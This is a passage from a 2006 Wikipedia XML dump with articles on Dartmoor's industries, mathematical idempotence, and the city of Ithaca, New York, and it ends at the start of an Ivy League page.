In former times, lead, silver, tin and copper were mined extensively on Dartmoor. The most obvious evidence of mining to the casual visitor to Dartmoor are the remains of the old mine-house at [[Wheal Betsy]] which is alongside of the [[A386]] between [[Tavistock]] and [[Okehampton]]. The word ''Wheal'' has a particular meaning in [[Devon]] and [[Cornwall]] being either a [[tin]] or a [[copper]] mine, however in the case of Wheal Betsy it was principally lead and silver which were mined. 

Once widely practised by many miners across the moor, by the early 1900s only a few tinners remained, and mining had almost completely ceased twenty years later. Some of the more significant mines were [[Knock Mine]], [[Vitifer Mine]] and [[Hexworthy Mine]].

See also: [[Dartmoor tin-mining]]

== Farming ==

Farming has been practised on Dartmoor since time immemorial. The [[dry-stone wall]]s which separate fields and mark boundaries give an idea of the extent to which the landscape has been shaped by farming. There is little or no arable farming within the moor, mostly being given over to livestock farming on account of the thin and rocky soil. Some Dartmoor farms are remote in the extreme. 

== Quarrying ==

Dartmoor granite has been used in many Devon and Cornish buildings. The prison at [[Princetown, England|Princetown]] was built from granite taken from [[Walkhampton Common]].  When the horse tramroad from [[Plymouth]] to [[Princetown, England|Princetown]] was completed in [[1823]], large quantities of granite were more easily transported. Millions of tons were used in the construction of the breakwater protecting [[Plymouth Sound]]. 
[[Category:Dartmoor]]</text>
    </revision>
  </page>
  <page>
    <title>Idempotence</title>
    <id>14972</id>
    <revision>
      <id>39696693</id>
      <timestamp>2006-02-15T05:21:26Z</timestamp>
      <contributor>
        <username>Simetrical</username>
        <id>158371</id>
      </contributor>
      <comment>No reason given for removing pronunciation.  Also, bolded word and made it a noun per Wikipedia conventions.</comment>
      <text xml:space="preserve">{{otheruses4|the mathematical concept of idempotence|the related computing concept|Idempotence (computer science)}}

There are two main definitions of '''idempotence''' ([[International Phonetic Alphabet|IPA]] {{IPA|[ˈaɪdɛmˌpotns/}}, like [[eye]]-dem-potent-s) in [[mathematics]].

*Given a [[binary operation]], an '''idempotent element''' (or simply an '''idempotent''') is something that when multiplied by (for a [[function (mathematics)|function]], composed with) itself, gives itself as a result. For example, the only two [[real number]]s which are idempotent under multiplication are 0 and 1.
*A [[unary operation]] (i.e., a function), is '''idempotent''' if, whenever it is applied twice to any element, it gives the same result as if it were applied once. For example, the [[greatest integer function]] is idempotent as a function from the set of real numbers to the set of [[integer]]s.
*The [[unary operation]] definition is a special case of the [[binary operation]] definition (see below).

== Formal definitions ==

===Binary operation===

If ''S'' is a set with a [[binary operation]] * on it, then an element ''s'' of ''S'' is said to be idempotent (with respect to *) if

:''s'' * ''s'' = ''s''. 

In particular, any [[identity element]] is idempotent. If every element of ''S'' is idempotent, then the binary operation * is said to be idempotent. For example, the operations of [[union (set theory)|set union]] and [[intersection (set theory)|set intersection]] are both idempotent.

===Unary operation===

If ''f'' is a [[unary operation]], say ''f'' maps ''X'' to ''X'', then ''f'' is idempotent if, for all ''x'' in ''X'', 

:''f''(''f''(''x'')) = ''f''(''x'').

In particular, the [[identity function]] is idempotent, and any [[constant function]] is idempotent as well.

Note that we may consider ''S'', the set of all functions from ''X'' to itself. Then ''f'' is idempotent in the unary sense if and only
if ''f'' is idempotent in the binary sense with respect to [[function composition]] (denoted &quot;o&quot;). This would be written ''f''&amp;nbsp;o&amp;nbsp;''f'' = ''f''.

==Common examples==

=== Functions ===

As mentioned above, the identity map and the constant maps are always idempotent maps. Less trivial examples are the [[absolute value]] function of a [[real number|real]] or [[complex number|complex]] argument, and the [[greatest integer function]] of a real argument.

The function which assigns to every subset ''U'' of some [[topological space]] ''X'' the [[closure (topology)|closure]] of ''U'' is idempotent on the [[power set]] of ''X''. It is an example of a [[closure operator]]; all closure operators are idempotent functions.

=== Idempotent ring elements ===

An idempotent element of a [[ring (mathematics)|ring]] is by definition an element that's idempotent with respect to the ring's multiplication. One may define a [[partial order]] on the idempotents of a ring as follows: if ''e'' and ''f'' are idempotents, we write ''e'' &amp;le; ''f'' [[iff]] ''ef'' = ''fe'' = ''e''. With respect to this order, 0 is the smallest and 1 the largest idempotent.

If ''e'' is idempotent in the ring ''R'', then ''eRe'' is again a ring, with multiplicative identity ''e''.

Two idempotents ''e'' and ''f'' are called ''orthogonal'' if ''ef'' = ''fe'' = 0. In this case, ''e'' + ''f'' is also idempotent, and we have ''e'' &amp;le; ''e'' + ''f'' and ''f'' &amp;le; ''e'' + ''f''.

If ''e'' is idempotent in the ring ''R'', then so is ''f'' = 1 &amp;minus; ''e''; ''e'' and ''f'' are orthogonal. 

An idempotent ''e'' in ''R'' is called ''central'' if ''ex'' = ''xe'' for all ''x'' in ''R''. In this case, ''Re'' is a ring with multiplicative identity ''e''. The central idempotents of ''R'' are closely related to the decompositions of ''R'' as a [[direct sum]] of rings. If ''R'' is the direct sum of the rings ''R''&lt;sub&gt;1&lt;/sub&gt;,...,''R''&lt;sub&gt;''n''&lt;/sub&gt;, then the identity elements of the rings ''R''&lt;sub&gt;''i''&lt;/sub&gt; are central idempotents in ''R'', pairwise orthogonal, and their sum is 1. Conversely, given central idempotents ''e''&lt;sub&gt;1&lt;/sub&gt;,...,''e''&lt;sub&gt;''n''&lt;/sub&gt; in ''R'' which are pairwise orthogonal and have sum 1, then ''R'' is the direct sum of the rings ''Re''&lt;sub&gt;1&lt;/sub&gt;,...,''Re''&lt;sub&gt;''n''&lt;/sub&gt;. So in particular, every central idempotent ''e'' in ''R'' gives rise to a decomposition of ''R'' as a direct sum of ''Re'' and ''R''(1 &amp;minus; ''e'').

Any idempotent ''e'' which is different from 0 and 1 is a [[zero divisor]] (because ''e''(1 &amp;minus; ''e'') =  0). This shows that [[integral domain]]s and [[division ring]]s don't have such idempotents. [[Local ring]]s also don't have such idempotents, but for a different reason. The only idempotent that's contained in the [[Jacobson radical]] of a ring is 0. There is a [[catenoid]] of idempotents in the [[coquaternion]] ring.

A ring in which ''all'' elements are idempotent is called a [[boolean ring]]. It can be shown that in every such ring, multiplication is commutative, and every element is its own [[additive inverse]].

=== Other examples ===

Idempotent operations can be found in [[Boolean algebra]] as well. [[logical conjunction|Logical and]] and [[logical disjunction|logical or]] are both idempotent operations over the elements of the Boolean algebra.

In [[linear algebra]], [[projection (linear algebra)|projection]]s are idempotent. That is, any [[linear transformation]] that projects all vectors onto a subspace V (not necessarily orthogonally) is idempotent, if V itself is pointwise fixed.

An [[idempotent semiring]] is a semiring whose ''addition'' (not multiplication) is idempotent.

==See also==
[[fixed point (mathematics)]]

[[Category:Abstract algebra]]
[[Category:Closure operators]]
[[de:Idempotenz]]
[[es:Idempotente]]
[[it:Idempotenza]]
[[nl:Idempotentie]]
[[ru:Идемпотентный элемент]]</text>
    </revision>
  </page>
  <page>
    <title>Ithaca, New York</title>
    <id>14973</id>
    <revision>
      <id>41965006</id>
      <timestamp>2006-03-02T22:46:31Z</timestamp>
      <contributor>
        <username>Quinten</username>
        <id>92247</id>
      </contributor>
      <comment>/* Geography and Climate */</comment>
      <text xml:space="preserve">{{mergefrom|Ithaca Commons}}

{{Infobox City |official_name = Ithaca, New York
|nickname=
|image_flag = 
|image_seal = 
|image_map = LocationOfIthacaNewYork.gif
|mapsize = 150px
|map_caption = Location in [[New York]]
|subdivision_type = [[Countries of the world|Country]]&lt;br&gt;  [[Political divisions of the United States|State]]&lt;br&gt;   [[List of counties in New York|County]]
|subdivision_name = [[United States]]&lt;br&gt;[[New York]]&lt;br&gt;[[Tompkins County, New York|Tompkins County]]
|leader_title = [[Mayor]]
|leader_name = [[Carolyn Peterson]]
|area_magnitude = 1 E8 
|area_total = 6.1 sq. miles / 15.7
|area_land = 5.5 sq. miles / 14.1
|area_water = 0.6 sq. miles / 1.6
|population_as_of = 2000
|population_note =
|population_total = 29,287 (city proper) 
|population_density = 2,071.0
|timezone = [[Eastern Standard Time|EST]]
|utc_offset = -5
|timezone_DST = [[Eastern Daylight Time|EDT]]
|utc_offset_DST = -4
|latitude = 42° 26' 36'' N
|longitude = 76° 30' 0'' W
|latd=42 |latm=26 |lats=36 |latNS=N
|longd=76 |longm=30 |longs=0 |longEW=W
|website = [http://www.ci.ithaca.ny.us www.ci.ithaca.ny.us]
|footnotes = }}

The City of '''Ithaca''' (named for the [[Greece|Greek]] island of ''[[Ithaca]]'' in [[Homer]]'s [[Odyssey]]) sits on the southern shore of [[Cayuga Lake]], in [[Central New York|Central]] [[New York State]]. 

The City of Ithaca is the center of the Ithaca [[metropolitan area]] and county seat of [[Tompkins County, New York]]. As of 2000, the city had a population of 29,287, and the metropolitan area had a population of 100,135. Ithaca is the smallest metropolitan statistical area in New York State.

==History==

The inhabitants of the Ithaca area at the time of European expansion were the [[Sapony tribe|Sapony]] and [[Tutelo tribe|Tutelo]]  Indians, dependent tribes of the [[Cayuga tribe|Cayuga Indians]] who formed part of the [[Iroquois|Iroquois confederation]].  These tribes had been allowed to settle on Cayuga-controlled hunting lands at the south end of [[Cayuga Lake]] as well as in Pony (originally Sapony) Hollow of [[Newfield|Newfield, New York]], after being forced from [[North Carolina]] by European expansion. They were driven from the area by the [[Sullivan Expedition]] which destroyed the Tutelo village of Coregonal, located near the junction of state routes [[New York State Highway 13|13]] and [[New York State Highway 13A|13A]] just south of the Ithaca city limits. Indian presence in the current City of Ithaca was limited to a temporary hunting camp at the base of Cascadilla Gorge. The destruction of [[Iroquois|Iroquois confederation]] power opened the region to settlement by people of European origin, a process which began in [[1789]].  In [[1790]], an official program began for distributing land in the area as a reward for service to the American soldiers of the Revolutionary War; most local land titles trace back to the Revolutionary war grants. Lots were drawn in 1791; informal settlement had already started.

As part of this process, the [[Central New York Military Tract]], which included northern Tompkins County, was surveyed by Simeon DeWitt. His clerk [[Robert Harpur]] apparently had a fondness for ancient Greek and Roman history as well as English authors and philosophers (as evidenced by the nearby townships of Dryden and Locke).  The Commissioners of Lands of NY State (chairman Gov. George Clinton) followed Harpur's recommendations at a meeting in 1790. The Military Tract township in which proto-Ithaca was located he named Ulysses, the Latin form of the Greek Odysseus from Homer's Odyssey. A few years later DeWitt moved to Ithaca and named it for the Greek island home of Ulysses (still the surrounding township at the time -- nowadays Ulysses is just a town in Tompkins Country).  Contrary to popular myth, DeWitt did not name many of the classical references found in upstate NY such as [[Syracuse, New York|Syracuse]] and [[Troy, New York|Troy]]; these were from the general classical fervor of the times.  Perhaps because of the name, [[The Odyssey]] is routinely taught to elementary school students in the Ithaca area.

In the [[1820s]] and [[1830]], Ithacans held high hopes of becoming a major city when the primitive Ithaca and Owego Railway was completed in 1832 to connect the [[Erie Canal]] navigation with the Susquehanna River to the south.  These hopes survived the depression of [[1837]] when the railroad was re-organized as the Cayuga &amp; Susquehanna and re-engineered with switchbacks in the late 1840's; much of this route is now used by the [[Trails in Ithaca, New York#South_Hill_Recreation_Way | South Hill Recreation Way]]. However, easier routes soon became available, such as the Syracuse, Binghamton &amp; New York (1854). In the decade following the Civil War railroads were built from Ithaca to all surrounding points (Geneva, Cayuga, Cortland, Elmira, Athens PA) mainly with financing from [[Ezra Cornell]]; however the geography of the city has always prevented it from lying on a major transportation artery. When the [[Lehigh Valley Railroad]] built its main line from Pennsylvania to Buffalo in 1890 it bypassed Ithaca (running via eastern [[Schuyler County]] on easier grades), as the [[Delaware, Lackawanna and Western Railroad]] had done in the 1850's. Ithaca became a city in 1888 and remained a small manufacturing and retail center until the recent education boom.

Ithaca was nationally known for the [[Ithaca Gun Company]], makers of highly-valued shotguns, and Ithaca Calender Clocks. The largest industry was the Morse Chain company, still active in [[Lansing]] as BorgWarner Morse. In the post-war decades [[National Cash Register]] and the Langmuir research labs of [[General Electric]] were also major employers.

[[Cornell University]] was founded by [[Ezra Cornell]] in [[1865]].  It was coeducational from its inception, which was extremely unusual at the time.  Ezra Cornell also established a [http://rmc.library.cornell.edu/presidents/view_item.php?sec=2&amp;sub=5 public library] for the city.  Ithaca College was founded as the Ithaca Conservatory of Music in [[1892]].

During the early 20th century, Ithaca was an important center in the [[silent film]] industry.  The most common type of film produced was the cliffhanger [[serial]], and the films often featured the local natural scenery.  Many of these films were the work of [[Leopold Wharton]] and his brother [[Theodore Wharton]] in their [[The Whartons|studio]] on the site of what is now Stewart Park.  Eventually the film industry centralized in [[Hollywood]], which offered the possibility of year-round filming, and film production in Ithaca effectively ceased.  Few of the silent films made in Ithaca are preserved today.

{{Sectstub}}

==Geography and Climate==

[[Image:Cascadilla_Creek_1.jpg|thumb|350px|Cascadilla Creek Gorge as seen from the [[Cornell University]] campus in Winter]]

The valley in which Cayuga Lake is located is long and narrow, with a north-south orientation.  Ithaca was founded on flat land just south of the lake — land that formed in fairly recent geological times when silt filled the southern end of the lake.  The city ultimately spread to the adjacent hillsides, which rise several hundred feet above the central flats:  East Hill, West Hill, and South Hill. Its sides are fairly steep, and a number of the streams that flow into the valley from east or west have cut deep [[gorge]]s, usually with several [[waterfall]]s.

Ithaca experiences a moderate continental climate, with cold, snowy winters and sometimes hot and humid summers.  The valley flatland has slightly milder weather in winter, and occasionally Ithacans experience simultaneous snow on the hills and rain in the valley. 

The natural vegetation of the Ithaca area, seen in areas unbuilt and unfarmed, is northern [[Temperate broadleaf and mixed forests|temperate broadleaf forest]], dominated by deciduous trees.  Among these, [[maple]]s are particularly common.  Steep hillsides seen from a distance resemble a curtain of green from late May through September, show bright fall colors in October, and are a display of gray trunks and branches, often with a white snowy background, from November through early May.

The region surrounding Ithaca is dotted with numerous [[wine|wineries]], many of which specialize in the native [[Labrusca]] [[grape]] varietals, although more and more [[vintners]] have started to focus upon the classic [[Vinifera]] styles such as [[Riesling]] and [[Cabernet Franc]].  Despite the relatively short [[growing season]] in the [[Finger Lakes]] [[American Viticultural Area]], [[vineyard|vineyards]] can flourish due to the [[microclimate|microclimates]] created by the impact of the lakes.

[[Image:Cascadilla_creek_spring.jpg|thumb|350px|The gorge of Cascadilla Creek in Spring]]

==The life of the city==

The economy of Ithaca is based on education and manufacturing with high tech and tourism in strong supporting roles.  The city is home to [[Cornell University]], which overlooks the town from East Hill, and [[Ithaca College]], similarly situated on South Hill. The [[College town|student population]] is very high, as almost 20,000 students are enrolled at Cornell, with an additional 6,300 students at Ithaca College. The [[Ithaca City School District]], which encompasses Ithaca and the surrounding area, enrolls about 5,500 K-12 students in eight elementary schools, two middle schools, [[Ithaca High School]], and the [[Lehman Alternative Community School]], which provides its students wide-ranging freedom to choose their own curriculum, occasionally resulting in controversy over political content in academic events. 

Tourists come largely for the natural scenery, including three gorges within the city limits and three in nearby state parks. Visitors also enjoy [[Cayuga Lake]], numerous [[Trails in Ithaca, New York|hiking, skiing, and bicycling trails]], and visits to wineries in lakeside vineyards found north and west of the city.

With some level of success, Ithaca has tried to maintain a traditional downtown shopping area that includes the [[Ithaca Commons]] pedestrian mall and Center Ithaca, a small mixed-use complex built at the end of the urban renewal era. Therefore, some in the community regret that downtown has lost vitality to two expanding commercial zones to the northeast and southwest of the old city. These areas contain an increasing number of large retail stores and restaurants run by national chains. Others say the chain stores boost local shopping options for residents considerably, many of whom would have previously shopped elsewhere, while increasing sales tax revenue for the city and county. The tradeoff between sprawl and economic development continues to be debated throughout the city and the surrounding area. (Another commercial center, Collegetown, is located next to the Cornell campus. It features a number of restaurants, shops, and bars, and an increasing number of high rise apartments.)
  
Ithacans support a popular [[farmer's market]][http://www.ithacamarket.com/home.php], professional theaters[http://www.kitchentheatre.org],[http://www.hangartheatre.org],[http://www.icarustheatre.com], a civic [[orchestra]], much parkland, a [http://www.sciencenter.org/ science museum] for children, and a new [http://www.museumoftheearth.org/ paleontological museum]. Ithaca is noted for its annual artistic celebration of community: The Ithaca Festival[http://www.ithacafestival.org]. (The Ithaca Festival Parade[http://www.ithacafestival.org/about/parade.htm] and Circus Eccentrithaca[http://www.ithacafestival.org/about/circus.htm] are legendary!) Another gem is the Constance Saltonstall Foundation for the Arts [http://www.saltonstall.org] which provides grants and Summer Fellowships at the Saltonstall Arts Colony for NYS artists and writers.  Ithaca also hosts what is described as the third-largest [[Friends of the Ithaca Library Booksale|used-book sale]] in the United States.

[[Image:ClintonHouseInIthacaNY.jpg|thumb|300px|The [[Clinton House]], a 19th century building in downtown Ithaca]]

Politically, the city's population has a significant [[American liberalism|liberal]] [[Democratic Party (United States)|Democrat]] political tilt, in contrast to the more [[American conservatism|conservative]] leanings of the region of [[Upstate New York]] that surrounds it.  

Ithaca has many of the businesses characteristic of small American university towns: used bookstores, art house cinemas, craft stores, and vegetarian restaurants. The collective [[Moosewood Restaurant]], founded in 1973, was the wellspring for a number of vegetarian cookbooks; [[Bon Appetit]] magazine ranked it among the thirteen most influential restaurants of the twentieth century.

The dominant local newspaper in Ithaca is a morning daily, the ''[[Ithaca Journal]]'', founded 1815.  The paper is owned by [[Gannett]], Inc., publishers of ''[[USA Today]]''.  Other local print publications include the ''[[Ithaca Times]]'', the ''[[Cornell Daily Sun]]'', the ''[[Ithacan]]'', and the ''[[Tattler]]''. (The latter three are run by student staffs at Cornell University, Ithaca College, and Ithaca High School, respectively.) Local residents often subscribe to out-of-town papers as well. The ''[[Post Standard]]'' of [[Syracuse, New York|Syracuse]] and the ''[[New York Times]]'' are popular among many community members.

Ithaca has also pioneered the [[Ithaca Health Fund]], a popular cooperative health insurance. Ithaca is also home to one of the United States' first [[local currency]] systems, [[Ithaca Hours]].

==Local government==

The name &quot;Ithaca&quot; actually designates two governmental entities in the area. The [[Ithaca (town), New York|Town of Ithaca]] is one of the nine towns comprised by [[Tompkins County]].  (&quot;Towns&quot; in New York are something like townships in other states; every county outside New York City is subdivided into towns.)  The [[Ithaca (city), New York|City of Ithaca]] is surrounded by, but legally independent of, the Town of Ithaca.

As of December, 2005, the city and town governments have begun discussing opportunities for increased government consolidation, including the possibility of joining the two into a single town or city. The possibility is controversial for town residents who would be forced to pay higher taxes. This topic was last discussed in 1963 and 1969.

Other non-municipal areas within the Town of Ithaca identified by the US Census Bureau as [[census-designated place]]s are:

*[[East Ithaca, New York|East Ithaca]]
*[[Forest Home, New York|Forest Home]]
*[[Northeast Ithaca, New York|Northeast Ithaca]]
*[[Northwest Ithaca, New York|Northwest Ithaca]]
*[[South Hill, New York|South Hill]]

In addition, the Town of Ithaca contains the [[Cayuga Heights|Village of Cayuga Heights]], a small incorporated upper-middle class suburb located to the northeast of the City of Ithaca.

The Town of Ithaca is bordered by other towns of Tompkins County as follows:

*[[Enfield, New York|Enfield]] to the west 
*[[Ulysses, New York|Ulysses]] to the northwest
*[[Lansing (town), New York|Lansing]] to the northeast
*[[Dryden (town), New York|Dryden]] to the east
*[[Danby, New York|Danby]] to the south
*[[Newfield, New York|Newfield]] to the southwest

The majority of local property taxes are actually assessed by an entirely independent agency with entirely different borders, the [[Ithaca City School District]].

[[Image:ViewOfEastHillIthacaNY.jpg|thumb|600px|center|The East Hill area of the city:  Cornell University campus and Collegetown]]

==Population and income figures==

For census and income data on the two municipalities called &quot;Ithaca&quot; see [[Ithaca (city), New York]] and [[Ithaca (town), New York]].

==Transportation==

[[Image:LocationOfIthacaNewYork.gif|right|299 px|Location of Ithaca within New York State]]

Ithaca is in the rural [[Finger Lakes]] region about 250 miles to the northwest of [[New York City]]; the nearest larger cities, [[Binghamton, New York|Binghamton]] and [[Syracuse, New York|Syracuse]], are an hour's drive away by car.

Ithaca is served by [[Ithaca Tompkins Regional Airport]], located about three miles to the northeast of the city center.  [[US Airways Express]] offers flights to [[LaGuardia Airport|New York LaGuardia]] and [[Philadelphia]] using a mixture of small jets and propeller craft. [[Northwest Airlink]] provides twice-daily service to [[Detroit Metropolitan Wayne County Airport|Detroit Metro]] airport. Many residents travel to [[Syracuse Hancock International Airport]], [[Greater Binghamton Airport]], [[Elmira-Corning Regional Airport]] or [[Greater Rochester International Airport]] for more service options.

Ithaca lies at over a half hour's drive from any [[interstate highway]], and all car trips to Ithaca involve at least some driving on two-lane state rural highways.  The city is at the convergence of many regional two-lane state highways: Routes [[New York State Highway 13|13]], 13A, 34, 79, 89, 96, 96B, and 366.  These are usually not congested except in Ithaca proper.  There is frequent intercity bus service by Greyhound, Adirondack Trailways, and Shortline (First Transit), particularly to[[Binghamton, New York|Binghamton]])and [[New York City]], with limited service to [[Rochester, New York|Rochester]], [[Buffalo, New York|Buffalo]] and [[Syracuse, New York|Syracuse]], and (via connections in [[Binghamton, New York|Binghamton]]) to Utica and Albany.

Ithaca is the center of an extensive bus public transportation system — [http://www.tcatbus.com Tompkins Consolidated Area Transit] (TCAT) — which carried 3.1 million passengers in 2005.  TCAT was reorganized as a non-profit corporation in 2004 and is primarily supported locally by Cornell University, the City of Ithaca and Tompkins County. TCAT operates thirty nine routes, many run seven days a week.  It has frequent service to Cornell, Pyramid Mall, and downtown, but less frequent service to many residental and rural areas, including [[Trumansburg, New York|Trumansburg]] and [[Newfield, New York|Newfield]]. [[Chemung County Transit]] runs weekday commuter routes into [[Schuyler County, New York|Schuyler]] and [[Chemung County, New York|Chemung]] counties, primarily to serve Cornell employees who prefer to  live in these rural counties, or are forced to by the high house prices near Ithaca.

GADABOUT Transportation Services, Inc. provides demand -response paratransit service for seniors over 60 and people with disabilities. [http://www.ithacataxi.biz/ Ithaca Dispatch] and Finger Lakes Taxi provide local and regional taxi service. Ithaca Airline Limousine connects to the airport.

Regional short haul freight trains reach Ithaca from Sayre, PA, mainly to deliver coal to the Milliken Power Station halfway up Cayuga Lake.  There is no
passenger rail service, although from the 1870's through the 1930's there was service to Buffalo via Geneva, New York City via Wilkes-Barre ([[Lehigh Valley Railroad]]) and Scranton ([[Delaware, Lackawanna and Western Railroad|DL&amp;W]]),  Auburn, and the northeast via Cortland; service to Buffalo and New York lasted until 1961.

==Local transportation issues: growing pains==

As a growing urban area, Ithaca is facing steady increases in levels of vehicular traffic on the city grid and on the state highways.  Outlying areas have limited bus service, and many people consider a car essential.   

However, Ithaca is a walkable and bikeable community for others. One positive trend for the health of downtown Ithaca is the new wave of increasing urban density in and around the Ithaca Commons. But as multi-story mixed-use projects (of offices, hotels, shops, parking and residences) are built, traffic congestion around the Commons will progressively increase.

Unlike most small (or large) urbanized areas in the United States, Ithaca does not have direct access to the [[Interstate highway]] system. In 1968, it was proposed to convert Route 13 from Horseheads to Cortland through Ithaca into a limited access highway (it is currently such for three miles heading north from Ithaca), but the plan lost local and State support. 

The City's current emphasis is on traffic management and better using the existing road capacity rather than building new roads.  New road-building in any of the congested areas would require substantial condemnation of private property.  Some pro-highway critics have argued that this is an ineffective means of dealing with increasing traffic congestion, especially in the City's West end.  The [http://www.tompkins-co.org/itctc/ Ithaca-Tompkins County Transportation Council] is the coordinating body for federal and state funded transportation projects covering Ithaca.  

Retail development trends in the city have created traffic pressure in neighborhoods. In the late 1990's, the City decided to encourage &quot;big box&quot; retail development in an area known as the Southwest.  The near-disappearance of grocery stores from neighborhood areas (replaced by larger stores in the commercial strips) has made it harder for Ithacans without cars to shop for food.

To influence traffic traveling through neighborhoods, the [http://ithaca.govoffice.com/index.asp?Type=NONE&amp;SEC={A32743F9-A812-49AA-8CC6-5BAA46CFF96C} City Government] adopted traffic plans to introduce traffic calming elements on City roads including, traffic tables at intersections, mini traffic circles, traffic humps, and a traffic rotary. The City also rebuilt a long-absent road bridge over Six Mile Creek.  

In 2005, Mayor Peterson emphasized pedestrian and bicycle circulation, safety education and traffic enforcement. Highly publicized pedestrian-vehicle and bicycle-vehicle accidents have focused attention on these traffic conflicts. Underfunding of sidewalk construction and maintenance are basic pedestrian infrastructure issues facing the City.

Critics argue that Ithaca's recent traffic projects and policies, and its emphasis on alternative transportation, have funneled money away from badly needed repairs, resurfacing, and winter maintenance for existing roads. The recently constructed “traffic calming devices” are unpopular among many drivers from Ithaca and the surrounding areas, and are a local subject of criticism and satire. Some also assert that recent changes and policies have actually worsened, rather than improved, the traffic congestion situation, and fear that future proposals will do the same.

==Other recent changes and trends==

For decades, the [[Ithaca Gun Company]] tested their shotguns behind the plant on Lake St.; the shot fell into Fall Creek (a tributary of Cayuga Lake) right at the base of Ithaca Falls.  A major clean-up effort sponsored by the United States [[Superfund]] took place from 2002 to 2004.

There have been recent significant increases in property values in the City.  House shopping is very competitive.

==&quot;Most Enlightened Town in America&quot;==

Ithaca is commonly listed among the most culturally liberal (or, more controversially and presumptuously, &quot;enlightened&quot;) of American small cities.  It also sometimes receives accolades for having a high overall quality of life.  In 2004, ''Cities Ranked and Rated'' named Ithaca the best &quot;emerging city&quot; to live in the United States.  The ''[[Utne Reader]]'' named Ithaca &quot;America's most enlightened town&quot; in 1997 [http://cafeutne.org/towns/ithaca.html].

These designations have at times polarized some local residents:  some note the recognition with pride, some see it as an indication of decadence, and others feel that it is a narrow view of the community.  Some, particularly conservatives, note that the positive press often appears in left-leaning publications, or have more general questions about the methodologies used in determining the designations.

==&quot;Sin City&quot;==

[[Image:ithaca_sodom_road_sign_sm.jpg|frame|Sodom Road, Ithaca NY]]

Displeased with Ithaca's liberal reputation, members of the far-right [[Free Republic]] web discussion group started a satirical campaign to dub Ithaca the &quot;City of Evil&quot; in the early 21st century. The campaign pointed to some of the following facts: in its earliest years during frontier days, Ithaca had a less savory reputation.  In addition to the more innocuous name &quot;The Flats,&quot; Ithaca was known as [http://www.wlcj.org/nys/ERIE/ithaca.html &quot;Sin City&quot;] and [http://www.epodunk.com/cgi-bin/genInfo.php?locIndex=922 &quot;Sodom&quot;], the name of the Biblical city of sin, due to its reputation as a town of readily-available loose pleasures.  These names did not last long; Simeon Dewitt renamed the town Ithaca in the early 1800s.  Nevertheless, in a few instances the old names may have lingered to this day.  One of the many nearby waterfalls is known as Lucifer Falls.  A dead-end road at the top of Snyder Hill a few miles east of Ithaca is named [http://maps.yahoo.com/maps_result?addr=sodom+rd&amp;csz=ithaca%2C+ny&amp;country=us&amp;new=1&amp;name=&amp;qty= &quot;Sodom Road&quot;], although according to the recent reissue of &quot;Place Names in Tompkins County&quot; this road was actually named for a family with the surname &quot;Sodom&quot; sometime in the 1930's. 

*[http://www.wlcj.org/nys/ERIE/ithaca.html Sodom, Sin City] (Women's League for Conservative Judaism)
*[http://www.usgennet.org/usa/ny/state/his/bk7/ch7.html Sodom, The Flats, The City] (History of NY State, Tompkins Cty)
*[http://www.epodunk.com/cgi-bin/genInfo.php?locIndex=922 Sodom, The Flats] (Ithaca NY Community Profile)

== Books set (at least partially) in Ithaca ==

*[[Lolita]] by [[Vladimir Nabokov]] (schoolgirl dialog captured on Ithaca city buses)
*[[War Between the Tates]] by [[Alison Lurie]] ('Corinth University', a thinly-disguised portrait of Cornell)
*[[Been Down So Long It Looks Like Up to Me]] by [[Richard Fariña]] ('Mentor University', same as above)
*[[The Widening Stain]] by [[Morris Bishop]]
*[[The Names of the Dead]] by [[Stewart O'Nan]]
*[[Enchantment (novel)|Enchantment]] by [[Orson Scott Card]] (partially set in Ithaca and fictional nearby towns)
*Various [[Kurt Vonnegut]] books have Ithaca references
*[[Fool on the Hill]] by [[Matt Ruff]]
*[[The Emigrants (book)]] by [[W.G. Sebald]]
*[[Tess of the Storm Country]] by [[Grace White]]

==Notable residents and natives==
*[[A.R. Ammons]], resident, [[poet]], [[Cornell University|Cornell]] [[Professor]]
*[[Hans Bethe]], resident, [[physicist]], Nobel Prize winner, Cornell Professor, head of theoretical division of the [[Manhattan Project]]
*[[Adam C. Engst]], native, resident, publisher of [[TidBITS]] and Take Control ebook series
*[[Richard Feynman]], resident, [[physicist]], Cornell Professor, Nobel Prize winner
*[[Greg Graffin]], resident, musician, lead singer of Bad Religion
*[[Alex Haley]], native, author of ''[[Roots: The Saga of an American Family]]'' and the ''[[Autobiography of Malcolm X]]''
*[[Karel Husa]], resident, composer
*[[David Lehman]], resident, [[poet]]
*[[Mary McDonnell]], native, actor in [[Dances With Wolves]], [[Independence Day]], and others
*[[Vladimir Nabokov]], resident, Cornell Professor, author (most famously of ''[[Lolita]]'')
*[[Roy H. Park]], resident, media executive, founder of Park Communications and the Park Foundation
*[[Hank Roberts]], resident, cellist and composer
*[[Carl Sagan]], resident, astronomer, Cornell Professor, popularizer of science, and author and host of ''[[Cosmos: A Personal Voyage|Cosmos]]''
*[[Rod Serling]], resident, professor, screenwriter, creator and host of ''[[The Twilight Zone]]''
*[[Steve Squyres]], resident, [[astronomer]], Cornell Professor, Principal Investigator of the [[Mars Exploration Rover Mission]] 
*[[Steven Stucky]], resident, classical American composer, Cornell Professor, Pulitzer Prize winner
*[[David Foster Wallace]], native, [[novelist]]
*[[E.B. White]], resident, [[novelist]], author of [[Charlotte's Web]] and co-author of [[The Elements of Style]]
*[[Robert R. Wilson]], resident, [[physicist]], head of the [[Cyclotron]] group of the [[Manhattan Project]]
*[[Paul Wolfowitz]], native, academic, [[Deputy Secretary of Defense]] (2001-2005), President of the [[World Bank]] (2005-)

==Points of interest==
* [[Cornell Plantations]]
* [[Cornell University]]
* [[Ithaca College]]
* [[F.R. Newman Arboretum]]
* [http://www.priweb.org/ Paleontological Research Institution's Museum of the Earth]

==Nearby Parks, Major Trails, and Outdoor Recreation==

The Ithaca area is home to beautiful outdoor recreation, including an extensive system of pedestrian, hiking, skiing, snowmobile, and bicycling trails. See [[Trails in Ithaca, New York]].

==External links==

*{{wikitravelpar|Ithaca}}
*[http://www.sciencenter.org/SaganPW/ Carl Sagan Planet Walk]
*[http://home.hetnet.nl/~fatcat/railways.htm History of Ithaca railways]
*[http://home.hetnet.nl/~fatcat/street.htm History and Remnants of the Ithaca trolley system]
*[http://www.ithacadirectory.com Ithaca Website Directory]

== See Also ==
* [[List of Registered Historic Places in New York]]

{{New York}}

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    <title>Ivy League</title>
    <id>14975</id>
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      <text xml:space="preserve">{| border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; align=&quot;right&quot; style=&quot;margin:0.5em;&quot;
